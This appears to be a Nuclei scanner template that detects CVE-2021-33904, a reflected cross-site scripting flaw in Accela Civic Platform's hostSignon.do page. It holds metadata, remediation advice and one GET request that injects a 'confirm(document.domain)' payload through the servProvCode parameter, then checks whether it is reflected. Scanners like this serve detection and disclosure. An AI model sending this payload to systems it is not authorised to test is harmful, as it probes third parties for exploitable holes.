53 lines
2.0 KiB
YAML
53 lines
2.0 KiB
YAML
id: CVE-2021-33904
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info:
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name: Accela Civic Platform <=21.1 - Cross-Site Scripting
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author: geeknik
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severity: medium
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description: Accela Civic Platform through 21.1 contains a cross-site scripting vulnerability via the security/hostSignon.do parameter servProvCode.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Upgrade to a patched version of Accela Civic Platform (version >21.1) that includes proper input validation to mitigate the XSS vulnerability.
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reference:
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- https://www.exploit-db.com/exploits/49980
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- https://gist.github.com/0xx7/3d934939d7122fe23db11bc48eda9d21
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- http://packetstormsecurity.com/files/163093/Accela-Civic-Platorm-21.1-Cross-Site-Scripting.html
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- https://nvd.nist.gov/vuln/detail/CVE-2021-33904
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- https://github.com/ARPSyndicate/cvemon
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-33904
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cwe-id: CWE-79
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epss-score: 0.00182
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epss-percentile: 0.55425
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cpe: cpe:2.3:a:accela:civic_platform:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: accela
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product: civic_platform
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tags: cve,cve2021,accela,xss,edb,packetstorm
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http:
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- method: GET
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path:
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- "{{BaseURL}}/security/hostSignon.do?hostSignOn=true&servProvCode=k3woq%22%5econfirm(document.domain)%5e%22a2pbrnzx5a9"
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matchers-condition: and
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matchers:
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- type: word
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part: header
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words:
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- "text/html"
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- type: word
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words:
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- '"k3woq"^confirm(document.domain)^"a2pbrnzx5a9"'
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- 'servProvCode'
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condition: and
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- type: status
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status:
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- 200
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# digest: 490a004630440220598ca0ea5a2191920903252d65a78b48659212316cb65eee6ae478d701b4189402203a1af1fd2ed527efa2b5d22b4d5183ea84c0d41b226d4b7f0e76f2c6a9180682:922c64590222798bb761d5b6d8e72950 |